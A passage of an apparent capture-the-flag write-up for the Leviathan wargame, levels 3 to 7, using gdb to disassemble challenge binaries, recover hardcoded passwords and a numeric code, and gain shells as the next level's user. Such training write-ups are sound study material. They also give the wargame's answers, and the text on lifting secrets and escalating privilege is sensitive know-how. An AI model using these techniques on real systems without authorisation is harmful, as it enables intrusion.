   0x08048681 <+131>:    mov    DWORD PTR [esp+0x4],eax
   0x08048685 <+135>:    lea    eax,[esp+0x2a]  <=== first arg
   0x08048689 <+139>:    mov    DWORD PTR [esp],eax
   0x0804868c <+142>:    call   0x80483d0 <strcmp@plt>
   0x08048691 <+147>:    test   eax,eax
   0x08048693 <+149>:    jne    0x804869d <main+159>
..........
(gdb) b *main+142
Breakpoint 1 at 0x804868c: file level3.c, line 33.  
(gdb) r
Starting program: /home/leviathan3/level3

Breakpoint 1, 0x0804868c in main () at level3.c:33

(gdb) x/s $esp+0x31
0xffffd691:    "kakaka"  
(gdb) x/s $esp+0x2a
0xffffd68a:    "h0no33"

(gdb) c
Continuing.  
Enter the password> gimme  
bzzzzzzzzap. WRONG  
[Inferior 1 (process 21628) exited normally]

Huh something weird is happening. The breakpoint is hit before we actually give it a password, and two random strings are compared. What is going on?

Luckily because we have function symbols intact looking further in main we see a call to another, non-library function called do_stuff. Just like main we can disassemble the instructions in that function:

...... ....
   0x080486a4 <+166>:    call   0x80483e0 <printf@plt>
   0x080486a9 <+171>:    call   0x804854d <do_stuff>
   0x080486ae <+176>:    mov    eax,0x0
   0x080486b3 <+181>:    mov    edx,DWORD PTR [esp+0x4c]
...... ....
(gdb) disas do_stuff
Dump of assembler code for function do_stuff:  
   0x0804854d <+0>:    push   ebp
   0x0804854e <+1>:    mov    ebp,esp
   0x08048550 <+3>:    sub    esp,0x128
   0x08048556 <+9>:    mov    eax,gs:0x14
   0x0804855c <+15>:    mov    DWORD PTR [ebp-0xc],eax
   0x0804855f <+18>:    xor    eax,eax
   0x08048561 <+20>:    mov    DWORD PTR [ebp-0x117],0x706c6e73
   0x0804856b <+30>:    mov    DWORD PTR [ebp-0x113],0x746e6972
   0x08048575 <+40>:    mov    WORD PTR [ebp-0x10f],0xa66
   0x0804857e <+49>:    mov    BYTE PTR [ebp-0x10d],0x0
   0x08048585 <+56>:    mov    eax,ds:0x804a03c
   0x0804858a <+61>:    mov    DWORD PTR [esp+0x8],eax
   0x0804858e <+65>:    mov    DWORD PTR [esp+0x4],0x100
   0x08048596 <+73>:    lea    eax,[ebp-0x10c]
   0x0804859c <+79>:    mov    DWORD PTR [esp],eax
   0x0804859f <+82>:    call   0x80483f0 <fgets@plt>
   0x080485a4 <+87>:    lea    eax,[ebp-0x117]      <== Arg1
   0x080485aa <+93>:    mov    DWORD PTR [esp+0x4],eax
   0x080485ae <+97>:    lea    eax,[ebp-0x10c]      <== Arg2
   0x080485b4 <+103>:    mov    DWORD PTR [esp],eax
   0x080485b7 <+106>:    call   0x80483d0 <strcmp@plt> <== Here
   0x080485bc <+111>:    test   eax,eax
   0x080485be <+113>:    jne    0x80485da <do_stuff+141>
   0x080485c0 <+115>:    mov    DWORD PTR [esp],0x8048760
   0x080485c7 <+122>:    call   0x8048410 <puts@plt>
   0x080485cc <+127>:    mov    DWORD PTR [esp],0x8048774
   0x080485d3 <+134>:    call   0x8048420 <system@plt>
   0x080485d8 <+139>:    jmp    0x80485e6 <do_stuff+153>
   0x080485da <+141>:    mov    DWORD PTR [esp],0x804877c
   0x080485e1 <+148>:    call   0x8048410 <puts@plt>
   0x080485e6 <+153>:    mov    eax,0x0
   0x080485eb <+158>:    mov    edx,DWORD PTR [ebp-0xc]
   0x080485ee <+161>:    xor    edx,DWORD PTR gs:0x14
   0x080485f5 <+168>:    je     0x80485fc <do_stuff+175>
   0x080485f7 <+170>:    call   0x8048400 <__stack_chk_fail@plt>
   0x080485fc <+175>:    leave
   0x080485fd <+176>:    ret
End of assembler dump.  
(gdb) b *do_stuff+106
Breakpoint 2 at 0x80485b7: file level3.c, line 12.  
(gdb) r
The program being debugged has been started already.  
Start it from the beginning? (y or n) y  
Starting program: /home/leviathan3/level3

Breakpoint 1, 0x0804868c in main () at level3.c:33  
33    in level3.c  
(gdb) c
Continuing.  
Enter the password> gimme

Breakpoint 2, 0x080485b7 in do_stuff () at level3.c:12  
12    in level3.c  
(gdb) x/s $ebp-0x117
0xffffd541:    "snlprintf\n"  
(gdb) x/s $ebp-0x10c
0xffffd54c:    "gimme\n"  

Cool stuff, looks like the first strcmp was an obfuscation, looking at the second one gives us the right answer.

leviathan3@melinda:~$ ./level3  
Enter the password> snlprintf  
[You've got shell]!
$

Level 4

This is a simple level that involves converting binary to ASCII, and there isn't much to do here. On to the next.


Level 5

Another level that doesn't really require anything (it is actually easier than Level 2). Looks for a file /tmp/file.log that it prints, and simply symlinking here will do the trick


Level 6

We have a binary in this folder that seems to want a four digit code:

leviathan6@melinda:~$ ./leviathan6  
usage: ./leviathan6 <4 digit code>  
leviathan6@melinda:~$ ./leviathan6 1234  
Wrong  

One option is to write a simple script that basically bruteforces the combination. But we can easily slip into gdb and probably save ourself some time.

(gdb) disas main
Dump of assembler code for function main:  
   0x0804850d <+0>:    push   ebp
   0x0804850e <+1>:    mov    ebp,esp
   0x08048510 <+3>:    and    esp,0xfffffff0
   0x08048513 <+6>:    sub    esp,0x20
   0x08048516 <+9>:    mov    DWORD PTR [esp+0x1c],0x1bd3 <= Stack var
   0x0804851e <+17>:    cmp    DWORD PTR [ebp+0x8],0x2 <= Argc == 2
   0x08048522 <+21>:    je     0x8048545 <main+56>  <= Cont. if have args
   0x08048524 <+23>:    mov    eax,DWORD PTR [ebp+0xc]
   0x08048527 <+26>:    mov    eax,DWORD PTR [eax]
   0x08048529 <+28>:    mov    DWORD PTR [esp+0x4],eax
   0x0804852d <+32>:    mov    DWORD PTR [esp],0x8048620
   0x08048534 <+39>:    call   0x8048390 <printf@plt>
   0x08048539 <+44>:    mov    DWORD PTR [esp],0xffffffff
   0x08048540 <+51>:    call   0x80483e0 <exit@plt> <= Exit if no args
   0x08048545 <+56>:    mov    eax,DWORD PTR [ebp+0xc]
   0x08048548 <+59>:    add    eax,0x4
   0x0804854b <+62>:    mov    eax,DWORD PTR [eax]
   0x0804854d <+64>:    mov    DWORD PTR [esp],eax
   0x08048550 <+67>:    call   0x8048400 <atoi@plt>
   0x08048555 <+72>:    cmp    eax,DWORD PTR [esp+0x1c] <= Compare check
   0x08048559 <+76>:    jne    0x8048575 <main+104>
   0x0804855b <+78>:    mov    DWORD PTR [esp],0x3ef
   0x08048562 <+85>:    call   0x80483a0 <seteuid@plt>
   0x08048567 <+90>:    mov    DWORD PTR [esp],0x804863a
   0x0804856e <+97>:    call   0x80483c0 <system@plt>
   0x08048573 <+102>:    jmp    0x8048581 <main+116>
   0x08048575 <+104>:    mov    DWORD PTR [esp],0x8048642
   0x0804857c <+111>:    call   0x80483b0 <puts@plt>
   0x08048581 <+116>:    leave
   0x08048582 <+117>:    ret
End of assembler dump.  
(gdb) b *main+72
Breakpoint 1 at 0x8048555  
(gdb) r 9999
Starting program: /home/leviathan6/leviathan6 9999  
(gdb) x/wu $esp+0x1c
0xffffd69c:    7123  
(gdb) i r
eax            0x270f    9999  
ecx            0x0    0  
edx            0xffffd89a    -10086  
ebx            0xf7fca000    -134438912  
esp            0xffffd680    0xffffd680  
ebp            0xffffd6a8    0xffffd6a8  
esi            0x0    0  
edi            0x0    0  
eip            0x8048555    0x8048555 <main+72>  
eflags         0x282    [ SF IF ]  
cs             0x23    35  
ss             0x2b    43  
ds             0x2b    43  
es             0x2b    43  
fs             0x0    0  
gs             0x63    99  

Looks like there is a compare check against the result of atoi which is stored in eax. Checking our registers with i r we can see our 9999 value, the 7123 value must be the target. (We change the arguments to the examine command x/ giving it u which means unsigned int, and w which means read a single word)

Furthermore at the beginning of the program we actually see 0x1bd3 being loaded into a local stack variable, which incidentally is the integer value 7123

leviathan6@melinda:~$ ./leviathan6 7123  
$ whoami
leviathan7  
$

Level 7

Congrats! Level 7 is the last level at this time, and while using gdb is probably overkill especially for this series of challenges, hopefully you found this to be good practice in getting you ready for more difficult challenges.

The next writeup will move onto the next wargame in the series, Narnia.

]]>